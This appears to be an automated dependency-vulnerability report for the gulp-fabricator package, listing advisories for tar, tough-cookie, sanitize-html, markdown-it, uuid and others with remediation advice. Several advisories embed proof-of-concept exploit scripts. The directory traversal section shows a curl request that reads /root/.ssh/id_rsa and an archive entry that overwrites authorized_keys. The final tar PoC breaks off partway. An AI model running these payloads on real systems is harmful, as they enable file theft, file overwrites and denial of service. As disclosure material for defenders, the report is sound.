Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. The function handle_error in sass_context.cpp allows attackers to cause a denial-of-service resulting from a heap-based buffer over-read via a crafted sass file. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Access Restriction Bypass. Internationalized domain name (IDN) is not properly handled. This allows attackers to bypass hostname whitelist validation set by the allowedIframeHostnames option.

Remediation

Upgrade sanitize-html to version 2.3.1 or higher.

References

medium severity

Validation Bypass

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Validation Bypass. There is no proper validation of the hostnames set by the allowedIframeHostnames option when the allowIframeRelativeUrls is set to true. This allows attackers to bypass the hostname whitelist for the iframe element.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.3.2 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › tough-cookie@2.4.3
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › tough-cookie@2.5.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Handling of Unicode Encoding

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: markdown-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the linkify rule (src/rules_core/linkify.ts) via input containing multiple fuzzy links. The arrayReplaceAt utility was called repeatedly inside the token-processing loop, causing each replacement to copy the entire token array, resulting in O(n²) time complexity as the number of links grows. An attacker can trigger excessive CPU consumption by supplying input with a large number of linkified URLs.

Remediation

Upgrade markdown-it to version 14.3.1, 15.0.1 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: markdown-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the inline HTML parsing rule in src/rules_inline/html_inline.ts, where the HTML_TAG_RE regular expression is applied against untrusted input. An attacker can supply input containing unclosed HTML special constructs (comments, processing instructions, declarations, or CDATA sections) to trigger quadratic backtracking, causing the parser to consume excessive CPU time and crash the process.

Note: This is only exploitable when the html option is enabled, for example via the commonmark preset. The default configuration has HTML disabled and is unaffected.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 14.3.3, 15.0.3 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › uuid@3.4.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › uuid@3.4.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › uuid@3.4.0

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: gulp-less@4.0.1, gulp-sass@4.0.2 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-less@4.0.1 › accord@0.29.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › glob@7.1.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › vinyl-fs@3.0.3 › glob-stream@6.1.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › sass-graph@2.2.5 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › true-case-path@1.0.3 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › vinyl-fs@3.0.3 › glob-stream@6.1.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › jshint@2.13.6 › cli@1.0.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1 › file-entry-cache@1.3.1 › flat-cache@1.3.4 › rimraf@2.6.3 › glob@7.2.3 › inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

